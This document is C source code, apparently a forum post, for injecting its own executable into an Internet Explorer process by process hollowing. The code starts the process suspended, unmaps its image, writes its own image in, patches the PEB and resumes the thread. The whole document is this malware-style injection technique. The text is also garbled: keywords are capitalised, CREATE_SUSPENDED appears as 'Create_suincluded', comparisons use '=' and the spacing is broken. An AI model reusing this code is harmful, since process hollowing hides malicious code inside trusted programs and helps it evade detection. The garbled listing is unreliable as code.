Code that inserts itself into the IE Process

# Include <windows. h>
# Include <stdio. h>
# Pragma comment (lib, "ntdll. lib ")

Typedef long NTSTATUS;

NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection (
HANDLE ProcessHandle,
PVOID BaseAddress
);

Typedef struct _ ChildProcessInfo
{
DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS;

Char szIePath [MAX_PATH];

BOOL FindIePath (char * IePath, int * dwBuffSize );
BOOL InjectProcess (void );
DWORD GetSelfImageSize (HMODULE hModule );

BOOL CreateInjectProcess (
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS * pChildProcess
);

Int main (void)
{
If (InjectProcess ())
{
Printf ("This is my a test code, made by shadow3. \ r \ n ");
}
Else
{
MessageBox (NULL, "process inserted", "Text", MB_ OK );
}

Return 0;
}

BOOL FindIePath (char * IePath, int * dwBuffSize)
{
Char szSystemDir [MAX_PATH];

GetSystemDirectory (szSystemDir, MAX_PATH );

SzSystemDir [2] = '\ 0 ';
Lstrcat (szSystemDir, "\ ProgramFiles \ Internet Explorer \ ipolice.exe ");

Lstrcpy (IePath, szSystemDir );
Return TRUE;
}

BOOL InjectProcess (void)
{
Char szModulePath [MAX_PATH];
DWORD dwImageSize = 0;

STARTUPINFO si = {0 };
PROCESS_INFORMATION pi;
CONTEXT ThreadCxt;
DWORD * PPEB;
DWORD dwWrite = 0;
CHILDPROCESS stChildProcess;
LPVOID lpVirtual = NULL;
PIMAGE_DOS_HEADER pDosheader = NULL;
PIMAGE_NT_HEADERS pVirPeHead = NULL;

HMODULE hModule = NULL;

ZeroMemory (szModulePath, MAX_PATH );
ZeroMemory (szIePath, MAX_PATH );

GetModuleFileName (NULL, szModulePath, MAX_PATH );
FindIePath (szIePath, NULL );

If (lstrcmpiA (szIePath, szModulePath) = 0)
{
Return FALSE;
}

HModule = GetModuleHandle (NULL );
If (hModule = NULL)
{
Return FALSE;
}

PDosheader = (PIMAGE_DOS_HEADER) hModule;
PVirPeHead = (PIMAGE_NT_HEADERS) (DWORD) hModule + pDosheader-> e_lfanew );

DwImageSize = GetSelfImageSize (hModule );

If (CreateInjectProcess (& pi, & ThreadCxt, & stChildProcess ))
{
Printf ("child pid: [% d] \ r \ n", pi. dwProcessId );
 
 
If (ZwUnmapViewOfSection (
Pi. hProcess,
(LPVOID) stChildProcess. dwBaseAddress
) = 0)
{
LpVirtual = VirtualAllocEx (
Pi. hProcess,
(LPVOID) hModule,
DwImageSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE
);

If (lpVirtual)
{
Printf ("Unmapped and Allocated Mem Success. \ r \ n ");
}

}
Else
{
Printf ("ZwUnmapViewOfSection () failed. \ r \ n ");
Return TRUE;
}
 
If (lpVirtual)
{
PPEB = (DWORD *) ThreadCxt. Ebx;

// Rewrite the load address

WriteProcessMemory (
Pi. hProcess,
& PPEB [2],
& LpVirtual,
Sizeof (DWORD ),
& DwWrite
);


If (WriteProcessMemory (
Pi. hProcess,
LpVirtual,
HModule,
DwImageSize,
& DwWrite ))
{
Printf ("image inject into process success. \ r \ n ");

ThreadCxt. ContextFlags = CONTEXT_FULL;
If (DWORD) lpVirtual = stChildProcess. dwBaseAddress)
{
ThreadCxt. Eax = (DWORD) pVirPeHead-> OptionalHeader. ImageBase + pVirPeHead-> OptionalHeader. AddressOfEntryPoint;
}
Else
{
ThreadCxt. Eax = (DWORD) lpVirtual + pVirPeHead-> OptionalHeader. AddressOfEntryPoint;
}

# Ifdef DEBUG
Printf ("EAX = [0x % 08x] \ r \ n", ThreadCxt. Eax );
Printf ("EBX = [0x % 08x] \ r \ n", ThreadCxt. Ebx );
Printf ("ECX = [0x % 08x] \ r \ n", ThreadCxt. Ecx );
Printf ("EDX = [0x % 08x] \ r \ n", ThreadCxt. Edx );
Printf ("EIP = [0x % 08x] \ r \ n", ThreadCxt. Eip );
# Endif

SetThreadContext (pi. hThread, & ThreadCxt );
ResumeThread (pi. hThread );

}
Else
{
Printf ("WirteMemory Failed, code: % d \ r \ n", GetLastError ());
TerminateProcess (pi. hProcess, 0 );
}

}
Else
{
Printf ("VirtualMemory Failed, code: % d \ r \ n", GetLastError ());
TerminateProcess (pi. hProcess, 0 );
}
}

Return TRUE;
}

DWORD GetSelfImageSize (HMODULE hModule)
{
DWORD dwImageSize;

_ Asm
{
Mov ecx, 0x30
Mov eax, fs: [ecx]
Mov eax, [eax + 0x0c]
Mov esi, [eax + 0x0c]
Add esi, 0x20
Lodsd
Mov dwImageSize, eax

}

Return dwImageSize;
}

BOOL CreateInjectProcess (
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS * pChildProcess
)

{
STARTUPINFO si = {0 };

DWORD * PPEB;
DWORD read;

// Start ie in suspended Mode

If (CreateProcess (
NULL,
SzIePath,
NULL,
NULL,
0,
Create_suincluded,
NULL,
NULL,
& Si,
Pi
))
{
PThreadCxt-> ContextFlags = CONTEXT_FULL;
GetThreadContext (pi-> hThread, pThreadCxt );
 
PPEB = (DWORD *) pThreadCxt-> Ebx;
 
// Obtain the loading base address of ie
ReadProcessMemory (
Pi-> hProcess,
& PPEB [2],
(LPVOID) & (pChildProcess-> dwBaseAddress ),
Sizeof (DWORD ),
& Read
);
 
Return TRUE;
 
}

Return FALSE;
}